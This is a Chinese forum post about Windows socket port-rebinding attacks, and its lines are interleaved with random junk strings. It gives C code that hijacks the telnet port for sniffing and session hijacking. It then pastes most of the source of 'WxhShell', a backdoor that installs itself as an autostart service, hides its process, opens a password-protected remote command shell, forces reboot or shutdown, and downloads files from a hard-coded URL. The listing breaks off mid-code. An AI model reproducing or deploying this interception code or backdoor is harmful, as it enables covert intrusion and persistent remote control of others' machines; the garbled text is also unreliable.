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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,|/f`Pl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); buHJB*?9  
$3kH~3{]  
  saddr.sin_family = AF_INET; 7F~X,Dk_  
<9b &<K:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); es0hm2HT3  
sV*H`N')S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XQw9~$  
)0k53-h&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }c:M^Ff  
3Tm+g2w2V8  
  这意味着什么?意味着可以进行如下的攻击: d2L&Z_}  
I)HPO,7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3=V &K-  
'dc#F3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1Ai^cf:S  
 e]$s t?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o^wqFX(Y  
X2"/%!65{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >/6 _ ^  
{id4:^u&;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u)Whr@m  
8H`[*|{'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;<4a*;IO  
MiX43Pk]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  4Wp=y  
;mi%F3  
  #include bcz:q/f}@  
  #include M)(DZ}  
  #include oxtay7fx  
  #include     LFV%&y|L  
  DWORD WINAPI ClientThread(LPVOID lpParam);    05^h"  
  int main() b\,+f n  
  { tX~w{|k  
  WORD wVersionRequested; wb ;xRP"w  
  DWORD ret; qmP].sA  
  WSADATA wsaData; ]eV8b*d6  
  BOOL val; K:WDl;8 (d  
  SOCKADDR_IN saddr; -D: b*D  
  SOCKADDR_IN scaddr; 1{.9uw"2S  
  int err; X5w$4Kj&4l  
  SOCKET s; JlJ a #  
  SOCKET sc; ksm~<;td  
  int caddsize; ,`sv1xwd  
  HANDLE mt; I( Mm?9F  
  DWORD tid;   K@%].:  
  wVersionRequested = MAKEWORD( 2, 2 ); zKK9r~ M  
  err = WSAStartup( wVersionRequested, &wsaData ); HK% 7g  
  if ( err != 0 ) { l%=;  
  printf("error!WSAStartup failed!\n"); !p/goqT~dY  
  return -1; l Nv|M)I  
  } 8xMX  
  saddr.sin_family = AF_INET; vw@S>G lGg  
   NCD04U5y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dgP3@`YS  
#p{4^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uEx-]F  
  saddr.sin_port = htons(23); YchH~m|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #rg6,.I)<  
  { {\\T gs  
  printf("error!socket failed!\n"); U%/+B]6jP  
  return -1; '0,^6'VWOV  
  } f,Ghb~y  
  val = TRUE; !TcJ)0   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &,)&%Sg[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [PbOfxxgA  
  { &6k3*dq  
  printf("error!setsockopt failed!\n"); 7PF%76TO  
  return -1; 51.%;aY~z  
  } 8l">cVo]T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [.}oyz; }N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;O #>Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T6kdS]4-  
]K%!@O!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $`'/+x"%  
  { M'l ;:  
  ret=GetLastError(); >5 BJ3Hf  
  printf("error!bind failed!\n"); #,v {Ihn  
  return -1; Z #m+ObHK1  
  } .o}v#W+st  
  listen(s,2); G]aOHJ:.  
  while(1) kvj#c  
  { U`s{Jm  
  caddsize = sizeof(scaddr); 3=;<$+I6  
  //接受连接请求 Xlt|nX~#;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >KKMcTOYY  
  if(sc!=INVALID_SOCKET) !1b;F*H  
  { )WFr</z5bA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uvS)8-o&F  
  if(mt==NULL) E<*xx#p  
  { Vf1^4 t  
  printf("Thread Creat Failed!\n"); ,v}k{( 16{  
  break; ?Ss!e$jf  
  } \lNN Msd&  
  } pmYHUj #  
  CloseHandle(mt); r,2g^ K)6  
  } <=C?e<Y  
  closesocket(s); BfiD9ka-z  
  WSACleanup(); UR5`ue ;  
  return 0; ;xn0;V'=  
  }   J4U1t2@)9  
  DWORD WINAPI ClientThread(LPVOID lpParam) [opGZ`>)j"  
  { Qe(:|q _  
  SOCKET ss = (SOCKET)lpParam; 0Wp|1)ljA  
  SOCKET sc; mRK>U$v  
  unsigned char buf[4096]; @9|hMo  
  SOCKADDR_IN saddr; 5Jnlz@P9  
  long num; E&:,oG2M  
  DWORD val; J<lO= +mg  
  DWORD ret; oe~b}:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f(7GX3?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~flV`wy$$1  
  saddr.sin_family = AF_INET; +[g,B1jt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sW8dPw O  
  saddr.sin_port = htons(23); "tpSg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q=yg8CQ  
  { [)X\|pO&  
  printf("error!socket failed!\n"); Z;)%%V%o  
  return -1; h2J x]FJ  
  } eh#(eua0/  
  val = 100; El"Q'(:/U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zT-_5uZQ  
  { lU8Hd|@-  
  ret = GetLastError(); Yc*; /T}  
  return -1; K\c#ig   
  } BTrn0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,UE83j8D^  
  { )dd@\n$6  
  ret = GetLastError();  %D "I  
  return -1; koi^l`B$  
  } ^5 Tqy(M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x ]ot 2  
  { &b& ,  
  printf("error!socket connect failed!\n"); R ViuJ;  
  closesocket(sc); }*"p?L^p{  
  closesocket(ss); "g8M0[7e3  
  return -1; %H"47ZFxAs  
  } L_iFt!  
  while(1) 7. ;3e@s  
  { y"wShAR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,$&&-p I]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @Do= k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;sFF+^~L  
  num = recv(ss,buf,4096,0); S|+o-[e8O  
  if(num>0) c~ V*:$F  
  send(sc,buf,num,0); $PHvA6D  
  else if(num==0) .#pU=v#/[  
  break; UW EV^ &"x  
  num = recv(sc,buf,4096,0); t\ewHZG"  
  if(num>0) VY\&8n}e(  
  send(ss,buf,num,0); SasJic2M  
  else if(num==0) R{T$[$6S  
  break; Xla~Yg  
  } $iz|\m  
  closesocket(ss); _:27]K:  
  closesocket(sc); x-3\Ls[I  
  return 0 ; 0{R=9wcc  
  } '2^Q1{ :\  
6)Lk-D  
tIgN$BHR>  
========================================================== i~J'%a<Qp  
cYt!n5w~W  
下边附上一个代码,,WXhSHELL 6!FQzFCZq  
4HA<P6L  
========================================================== A3@6N(  
cExS7~*  
#include "stdafx.h" *;*r 8[U}q  
rw #$lP  
#include <stdio.h> J-hbh  
#include <string.h> P";'jVcR  
#include <windows.h> 83q6Sv  
#include <winsock2.h> ^y%T~dLkp'  
#include <winsvc.h> MFk5K  
#include <urlmon.h> ^gnZ+`3  
L;I]OC^J  
#pragma comment (lib, "Ws2_32.lib") sLQ^F  
#pragma comment (lib, "urlmon.lib") DR<9#RRD  
G'A R`"F  
#define MAX_USER   100 // 最大客户端连接数 sON|w86B  
#define BUF_SOCK   200 // sock buffer b SU~XGPB  
#define KEY_BUFF   255 // 输入 buffer =C.$ UX  
w`zTR0`  
#define REBOOT     0   // 重启 _5N]B|cO  
#define SHUTDOWN   1   // 关机 ixD)VcD-f  
CzEd8jeh7  
#define DEF_PORT   5000 // 监听端口  kPLxEwl  
oILZgNe'  
#define REG_LEN     16   // 注册表键长度 +; AZ+w]ZF  
#define SVC_LEN     80   // NT服务名长度 Y0 -n\|  
@I!0-OjL  
// 从dll定义API *!7 O~yQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d-dEQKI?;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dlTt _.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )hfpwdQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u4 h4.NHX  
&KRX[2  
// wxhshell配置信息 Npy :!  
struct WSCFG { ^.NU|NQi'  
  int ws_port;         // 监听端口 @J`"[%U  
  char ws_passstr[REG_LEN]; // 口令 Q$@I"V&G.  
  int ws_autoins;       // 安装标记, 1=yes 0=no *bA.zmzM  
  char ws_regname[REG_LEN]; // 注册表键名  ZExlGC  
  char ws_svcname[REG_LEN]; // 服务名 TbW38\>.R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jtc]>]6i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NHZz _a=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s,&Z=zt0R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %d<"l~<5;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7O-x<P;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dNeVo|Y~h  
$ gS>FJ  
}; @2 fg~2M1  
E09 :E  
// default Wxhshell configuration iAIuxO  
struct WSCFG wscfg={DEF_PORT, | h#u^v3  
    "xuhuanlingzhe", ^3L0w}#  
    1, 7E~;xn;  
    "Wxhshell", |_@>*Vmg  
    "Wxhshell", IB] l1<  
            "WxhShell Service", j+  0I-p  
    "Wrsky Windows CmdShell Service", VS8Rx.?  
    "Please Input Your Password: ", ^,T(mKS  
  1, }?Ai87-{  
  "http://www.wrsky.com/wxhshell.exe", -C?ZB}`   
  "Wxhshell.exe" L0WN\|D  
    }; b!5~7Ub.No  
,wAF:7'  
// 消息定义模块 k_nql8H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E#N|w q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [:SWi1cK2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YGC L2Y  
char *msg_ws_ext="\n\rExit."; ]|P iF+  
char *msg_ws_end="\n\rQuit."; _^%,x  
char *msg_ws_boot="\n\rReboot..."; (M.&^w;`,  
char *msg_ws_poff="\n\rShutdown..."; N64dO[op  
char *msg_ws_down="\n\rSave to "; q6V>zi  
QX'qyojxN  
char *msg_ws_err="\n\rErr!"; vuY~_  
char *msg_ws_ok="\n\rOK!"; 5uj?#)N  
);&:9[b_  
char ExeFile[MAX_PATH]; ^yN&ZI3P&  
int nUser = 0; fHd#u%63K  
HANDLE handles[MAX_USER]; $C$V%5aA  
int OsIsNt; <1${1A <Wa  
[j/9neaye  
SERVICE_STATUS       serviceStatus; N~zdWnSZ@G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0{}8(  
Od,qbU4O  
// 函数声明 fSvM(3Y<Qh  
int Install(void); >V8-i`  
int Uninstall(void); )cMh0SGcM1  
int DownloadFile(char *sURL, SOCKET wsh); fN1-d&T  
int Boot(int flag); SbrecZ  
void HideProc(void); )W _v:?A9  
int GetOsVer(void); x\G'kEd  
int Wxhshell(SOCKET wsl); h^(* Tv-!  
void TalkWithClient(void *cs); dn$!&  
int CmdShell(SOCKET sock); = x)-u8P  
int StartFromService(void); PmEsN&YP]  
int StartWxhshell(LPSTR lpCmdLine); 4yA+ h2  
6) [H?Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mLLDE;7|}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]:k/Y$O2  
C 7ScS"~  
// 数据结构和表定义 HJ[cM6$2  
SERVICE_TABLE_ENTRY DispatchTable[] = O:{~urV  
{ 9w"4K.  
{wscfg.ws_svcname, NTServiceMain}, 1JG'%8}#8  
{NULL, NULL} YHygo#4=8  
}; Pw`8Wj  
nV/G8SeI  
// 自我安装 ?Z[[2\DR  
int Install(void) j[J-f@F \Y  
{ E,x+JeKV  
  char svExeFile[MAX_PATH]; xHLlMn4M  
  HKEY key; r1{@Ucw2  
  strcpy(svExeFile,ExeFile); ">,|V-H  
DgQp HF  
// 如果是win9x系统,修改注册表设为自启动 +.b,AqJ/  
if(!OsIsNt) { .2Elr(&*h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H;k~oIs k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #rQ2gx4  
  RegCloseKey(key); =Toy Zm\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q01wbO3-"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k|PN0&J  
  RegCloseKey(key); M; tqp8  
  return 0; :vQrOn18p  
    } K)|G0n*qS  
  } U@)eTHv}6  
} ,77d(bR<  
else { _FU_Ubkr  
$AjHbU.I{  
// 如果是NT以上系统,安装为系统服务 o&)8o5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k1Y?  
if (schSCManager!=0) 6@F9G 4<Z  
{ sW'AjI  
  SC_HANDLE schService = CreateService 17"uf.G  
  ( +`3)oPV)  
  schSCManager, ' ;FnIZ  
  wscfg.ws_svcname, |tMWCA  
  wscfg.ws_svcdisp, S3*`jF>q  
  SERVICE_ALL_ACCESS, h-K_Lr]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a;qryUyG  
  SERVICE_AUTO_START, =M [bnq*\  
  SERVICE_ERROR_NORMAL, PQSP&  
  svExeFile, jB Z&Ad@e  
  NULL, Q}K"24`=  
  NULL, 3-qr)h  
  NULL, b)5uf'?-  
  NULL, Ru!iR#s)!  
  NULL *:LK8U  
  ); x$.^"l-vX  
  if (schService!=0) g<; q.ZylT  
  { J~ zUp(>K  
  CloseServiceHandle(schService); */^q{PsN  
  CloseServiceHandle(schSCManager); ;dtA4:IRZ4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /}fHt^2H  
  strcat(svExeFile,wscfg.ws_svcname); 8hz^%vm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G kl71VX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H.|#c^I  
  RegCloseKey(key); _~J {wM  
  return 0; "R1NG?; q  
    } 0oZ= yh  
  } O1U=X:Zl  
  CloseServiceHandle(schSCManager); oAJM]%g{  
} ):68%,  
} M2>Vj/  
M l{Z  
return 1; Fg5kX  
} 0$)>D==  
*ebSq)  
// 自我卸载 2Aazy'/  
int Uninstall(void) $=8  NED5  
{ p{ Yv3dNl  
  HKEY key; F^t DL:  
r?lf($ D*  
if(!OsIsNt) { "fCu=@i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p;59?  
  RegDeleteValue(key,wscfg.ws_regname); qn<|-hA*  
  RegCloseKey(key); R'bTN|Cq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +\c5]`  
  RegDeleteValue(key,wscfg.ws_regname); k}kQI~S9  
  RegCloseKey(key); +mmSfuO&\  
  return 0; 3G)#5 Lf<  
  } 7u S~MW  
} 2G67NC?+  
} RXpw!  
else { :I j{s  
,]ma+(|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tqvN0vY5  
if (schSCManager!=0) a}BYov  
{ h-#6av :  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ic"ybj`  
  if (schService!=0) QT< }] 0  
  { :0j?oY~e  
  if(DeleteService(schService)!=0) { ,.83m%i  
  CloseServiceHandle(schService); ['X]R:3h  
  CloseServiceHandle(schSCManager); F3v !AvA|  
  return 0; 0neoE E  
  } Qcq`libK  
  CloseServiceHandle(schService); ?wiC Q6*$  
  } b8`)y<7  
  CloseServiceHandle(schSCManager); ~q@|l3?$  
} 3LJ+v5T~  
} MSQEO4ge  
VgG0VM  
return 1; !*F1q|R  
} W#4 7h7M  
@;zl  
// 从指定url下载文件 =)H.c uc  
int DownloadFile(char *sURL, SOCKET wsh) !N\@'F!  
{ '8RsN-w  
  HRESULT hr; Bw)/DM]  
char seps[]= "/"; F# ,90F'  
char *token; 2\A$6N ;_  
char *file; JgKO|VO  
char myURL[MAX_PATH]; xjuN-  
char myFILE[MAX_PATH]; ?*G|XnM&  
c?f4Q,%|  
strcpy(myURL,sURL); uB]7G0g:  
  token=strtok(myURL,seps); $<dH?%!7  
  while(token!=NULL) ;v)JnbsH}  
  { ld|5TN1  
    file=token; G6q }o)[m)  
  token=strtok(NULL,seps); Xy|So|/bKd  
  } _wbF>z  
n71r_S*  
GetCurrentDirectory(MAX_PATH,myFILE); gq4Tb c oA  
strcat(myFILE, "\\"); ?K$(817  
strcat(myFILE, file); M)J5;^["  
  send(wsh,myFILE,strlen(myFILE),0); NR 5gj-B[  
send(wsh,"...",3,0); -j# 2}[J7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v}}F,c(f  
  if(hr==S_OK) 7Utn\l  
return 0; b$d;Qx  
else EA@ .,7F  
return 1; i^X]j  
4x=v?g&  
} zsEc(  
$-OA'QwB]  
// 系统电源模块 |B?m,U$A!  
int Boot(int flag) APn|\  
{ h0*!;Z7  
  HANDLE hToken; u:6Ic)7'  
  TOKEN_PRIVILEGES tkp; v+W&9>  
j78i #}e  
  if(OsIsNt) { %~O,zs.2p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,8S/t+H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .KB^3pOpx  
    tkp.PrivilegeCount = 1; &n}]w+w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :;RMo2Tl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LiC*@W  
if(flag==REBOOT) { 4M=]wR;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rT=rrvV3g  
  return 0; ?qv !w~m<  
} <,3a3  
else { !P2ro~0/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) : Xda1S  
  return 0; uanhr)Ys  
} 8l>?Pv  
  } 6 C1#/  
  else { J|W<;  
if(flag==REBOOT) { 1jmjg~W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JK7G/]j+Ez  
  return 0; lZd(emH@  
} 7cuE7"  
else { WA<v9#m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5N#aXG^9  
  return 0; JU4<|5H  
} NlA,'`,  
} oM X  
fF!Yp iI"  
return 1; h/QXPdV  
} qJf?o.Pv  
+C^nO=[E  
// win9x进程隐藏模块 _>o:R$ %}  
void HideProc(void) l] K3Y\#bP  
{ {X!r8i  
vz@A;t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3<e=g)F  
  if ( hKernel != NULL )  g T6z9  
  { &pxg. 3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J@/kIrx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [7:,?$tC  
    FreeLibrary(hKernel); <.%4 ! }f8  
  } Ij7p' a  
rP'me2 B  
return; =ke2;}X  
} =1@u  
PF0_8,@U  
// 获取操作系统版本 'NbHa!  
int GetOsVer(void) G~]Uk*M q  
{ M :=J^0  
  OSVERSIONINFO winfo; :;v~%e{k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [@_Jj3`4  
  GetVersionEx(&winfo); Ucb F|vkI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xBj 9y u  
  return 1; 1>.Ev,X+e  
  else VnSCz" ?3  
  return 0; ?=u\n;w)  
} 3 #n_?-  
O"+ gQXe  
// 客户端句柄模块 kl" hBK#D%  
int Wxhshell(SOCKET wsl) "-M p_O]  
{ =?5]()'*n  
  SOCKET wsh; w$>u b@=  
  struct sockaddr_in client; h<h%*av|  
  DWORD myID; (Nq=H)cm8  
p . %]Q*8  
  while(nUser<MAX_USER) #]-SJWf3  
{ i:dR\|B  
  int nSize=sizeof(client); f'F?MINJP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p0]=QH  
  if(wsh==INVALID_SOCKET) return 1; mwO6g~@ `  
^23~ZHu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1wii8B6  
if(handles[nUser]==0) 2zX]\s?3  
  closesocket(wsh); mupT<_Y  
else ynp8r f  
  nUser++; YByLoM*  
  } a6 ekG YW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }czrj%6  
l&[O  
  return 0; .zf~.R;>  
} gZVc 5u<  
&L3M]  
// 关闭 socket "6A ` q\  
void CloseIt(SOCKET wsh) U%-A?5  
{ #j;^\rSv-  
closesocket(wsh); &Hrj3E  
nUser--; >e lJkq|  
ExitThread(0); )J=!L\  
} m 1b?J3   
I2XU(pYU  
// 客户端请求句柄 -$\y_?}  
void TalkWithClient(void *cs) J @`1TU  
{ mb 1FWy=3  
}ZYd4h|g\z  
  SOCKET wsh=(SOCKET)cs; 3s*mbk[J  
  char pwd[SVC_LEN]; `4r 3l S  
  char cmd[KEY_BUFF]; @?ebuj5{e  
char chr[1]; K&u_R  
int i,j; cUk7i`M;6  
D#aDv0b  
  while (nUser < MAX_USER) { b\f O8{k  
#x@$ lc=k3  
if(wscfg.ws_passstr) { eNh39er  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^+ml5m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t6rRU~;}  
  //ZeroMemory(pwd,KEY_BUFF); cs48*+m  
      i=0; _r#Z}HK  
  while(i<SVC_LEN) { qyb?49I  
H;mSkRD3N  
  // 设置超时 VD AaYDi  
  fd_set FdRead; `K"L /I9  
  struct timeval TimeOut; _IMW {  
  FD_ZERO(&FdRead); YO`]UQ|dc  
  FD_SET(wsh,&FdRead); Brw@g8w-X  
  TimeOut.tv_sec=8; t}a: p6D]  
  TimeOut.tv_usec=0; kb%;=t2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A.F%Ycq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IuDS*/Sx  
#&+{mCjs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T}Tp$.gB  
  pwd=chr[0]; 3=#<X-);  
  if(chr[0]==0xd || chr[0]==0xa) { E#RDqL*J  
  pwd=0; xH4m|  
  break;  y`iBFC;_  
  } q~Hn -5H4Q  
  i++; Xxj- 6i  
    } 8qoMo7-f  
Gf6p'(\zun  
  // 如果是非法用户,关闭 socket E*& vy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ha#= (9.  
} Ng&%o  
-12UN(&&Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ,i NXK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ )F)S 7  
eSn+B;  
while(1) { Vsr.=Nd=  
1NFsb-<u  
  ZeroMemory(cmd,KEY_BUFF); J6"9v;V  
-]Bq|qTH[(  
      // 自动支持客户端 telnet标准   >tS'Q`R  
  j=0; *][`@@->  
  while(j<KEY_BUFF) { E)&I@m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iO{hA  
  cmd[j]=chr[0]; 'ycJMYP8  
  if(chr[0]==0xa || chr[0]==0xd) { 9yu\ Ot  
  cmd[j]=0; , u=`uD  
  break; p>,|50|  
  } W.jGGt\<\  
  j++; @)+AaC#-  
    } W-f=]eWg  
>gQ>1Bwvi  
  // 下载文件 uh_RGM&  
  if(strstr(cmd,"http://")) { *tFHM &a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "s-"<&>a(  
  if(DownloadFile(cmd,wsh)) a~`eQ_N D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k8yEdi`  
  else Eh`7X=Z7E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,^r9n[M4M  
  } )iX~}7  
  else { _RYxD"m y  
T.F!+  
    switch(cmd[0]) { QhFV xCA  
  "9uKtQS0o  
  // 帮助 .<?GS{6 N  
  case '?': { yF:1( 4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0 JS?;fk  
    break; bRDYGuC  
  } e ,'_xV  
  // 安装 E`JI>7  
  case 'i': { 234p9A@  
    if(Install()) o 11jca|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xq4O@V  
    else E =67e=h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-wp9^  
    break; &AMl:@p9  
    } mUC)gA/  
  // 卸载 +QavYqPF  
  case 'r': { A Q U+mo  
    if(Uninstall()) L+F@:H6/0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f)rq%N &  
    else KkyVSoD\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S72+d%$  
    break; YaqR[F  
    } @IKYh{j4  
  // 显示 wxhshell 所在路径 P8 c`fbkX2  
  case 'p': { P:S.~Jq  
    char svExeFile[MAX_PATH]; ;+_:,_  
    strcpy(svExeFile,"\n\r"); Q}JOU  
      strcat(svExeFile,ExeFile); BVQqY$>  
        send(wsh,svExeFile,strlen(svExeFile),0); m 0C@G5  
    break; X0 5/uX{  
    } h&iC;yj=  
  // 重启 P5V}#;v  
  case 'b': { 6wRd<]C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K3&qq[8.e  
    if(Boot(REBOOT)) c):/!Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 539>WyG5  
    else { Es`Px_k  
    closesocket(wsh); DK~xrU'  
    ExitThread(0); ~Cttzn]pR  
    } (x|T+c"bAX  
    break; G>=*yqo  
    } octL"t8w  
  // 关机 2s8a $3  
  case 'd': { bj^5yX;2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?81c 4w  
    if(Boot(SHUTDOWN)) @{e}4s?7od  
